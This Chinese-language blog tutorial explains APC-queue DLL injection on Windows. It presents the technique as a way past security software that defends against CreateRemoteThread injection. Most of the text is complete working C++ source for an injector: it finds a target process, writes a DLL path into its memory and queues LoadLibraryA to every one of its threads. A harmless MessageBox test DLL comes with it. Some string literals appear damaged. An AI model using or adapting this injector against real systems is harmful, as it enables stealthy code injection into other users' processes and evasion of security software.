安全之路 —— 利用APC队列实现跨进程注入

简介

在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入（链接），毫无疑问最经典的注入方式，但也因为如此，这种方式到今天已经几乎被所有安全软件所防御。所以今天笔者要介绍的是一种相对比较“另类”的方式，被称作**“APC注入”。APC(Asynchronous Procedure Call)，全称为异步过程调用**，指的是函数在特定线程中被异步执行。简单地说，在Windows操作系统中，每一个进程的每一个线程都有自己的APC队列，可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后，线程并不会立刻执行压入的APC函数，而是要等到线程处于可通知状态才会执行，也就是说，只有当一个线程内部调用WaitForSingleObject, WaitForMultiObjects, SleepEx等函数将自己处于挂起状态时，才会执行APC队列函数，执行顺序与普通队列相同，先进先出（FIFO），在整个执行过程中，线程并无任何异常举动，不容易被察觉，但缺点是对于单线程程序一般不存在挂起状态，所以APC注入对于这类程序没有明显效果。

代码样例

• DLL程序代码

////////////////////////////////
//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//
////////////////////////////////

#include <iostream>
#include <Windows.h>

using namespace std;

BOOL WINAPI DllMain(
	_In_ HINSTANCE hinstDLL,
	_In_ DWORD     fdwReason,
	_In_ LPVOID    lpvReserved
)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
}

• 注入程序代码

////////////////////////////////
//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//
////////////////////////////////

#pragma once

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;

// 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
	HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapProcess == NULL)
	{
		printf("[*] Create Process Snap Error!
");
		return FALSE;
	}
	PROCESSENTRY32 pe32 = { 0 };
	RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);
	BOOL bRet = Process32First(hSnapProcess, &pe32);
	while (bRet)
	{
		if (_stricmp(pe32.szExeFile, szProcessName) == 0)
		{
			dwPid = pe32.th32ProcessID;
			return TRUE;
		}
		bRet = Process32Next(hSnapProcess, &pe32);
	}
	return FALSE;
}

// 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
	DWORD dwThreadIdListLength = 0;
	DWORD dwThreadIdListMaxCount = 2000;
	LPDWORD pThreadIdList = NULL;
	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		printf("[*] Create Thread Id Space Error!
");
		return FALSE;
	}
	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
	THREADENTRY32 te32 = { 0 };
	RtlZeroMemory(&te32, sizeof(te32));
	te32.dwSize = sizeof(te32);
	HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	if (hThreadSnapshot == NULL)
	{
		printf("[*] Create Thread Snap Error!
");
		return FALSE;
	}
	BOOL bRet = Thread32First(hThreadSnapshot, &te32);
	while (bRet)
	{
		if (te32.th32OwnerProcessID == dwPid)
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
			pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnapshot, &te32);
	}
	*pThreadIdListLength = dwThreadIdListLength;
	*ppThreadIdList = pThreadIdList;
	return TRUE;
}

// 主函数
int main(int argc, char* argv[])
{
	if (argc != 3)
	{
		printf("[*] Format Error!  
You Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> 
");
		return 0;
	}
	LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlZeroMemory(szExeName, 100);
	RtlZeroMemory(szDllPath, 100);
	StringCchCopy(szExeName, 100, argv[1]);
	StringCchCopy(szDllPath, 100, argv[2]);
	DWORD dwPid = 0;
	BOOL bRet = GetProcessIdByName(szExeName, dwPid);
	if (!bRet)
	{
		printf("[*] Get Process Id Error!
");
		return 0;
	}
	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;
	bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
	if (!bRet)
	{
		printf("[*] Get All Thread Id Error!
");
		return 0;
	}
	// 打开进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		printf("[*] Open Process Error!
");
		return 0;
	}
	DWORD dwDllPathLen = strlen(szDllPath) + 1;
	// 申请目标进程空间，用于存储DLL路径
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpBaseAddress == NULL)
	{
		printf("[*] VirtualAllocEx Error!
");
		return 0;
	}
	SIZE_T dwWriten = 0;
	// 把DLL路径字符串写入目标进程
	WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
	if (dwWriten != dwDllPathLen)
	{
		printf("[*] Write Process Memory Error!
");
		return 0;
	}
	LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (pLoadLibraryFunc == NULL)
	{
		printf("[*] Get Func Address Error!
");
		return 0;
	}
	HANDLE hThread = NULL;
	// 倒序插入线程APC，可避免出现在插入时进程崩溃的现象
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
			CloseHandle(hThread);
			hThread = NULL;
		}
	}

	// DLL路径分割，方便输出
	LPCSTR szPathSign = "\";
	LPSTR p = NULL;
	LPSTR next_token = NULL;
	p = strtok_s(szDllPath, szPathSign, &next_token);
	while (p)
	{
		StringCchCopy(szDllPath, 100, p);
		p = strtok_s(NULL, szPathSign, &next_token);
	}
	printf("[*] APC Inject Info [%s ==> %s] Success
", szDllPath, szExeName);

	if (hProcess)
	{
		CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadIdList)
	{
		VirtualFree(pThreadIdList, 0, MEM_RELEASE);
		pThreadIdList = NULL;
	}
	VirtualFree(szDllPath, 0, MEM_RELEASE);
	VirtualFree(szExeName, 0, MEM_RELEASE);
	ExitProcess(0);
	return 0;
}

运行截图

参考资料

1. 《Windows黑客编程技术详解》【甘迪文 著】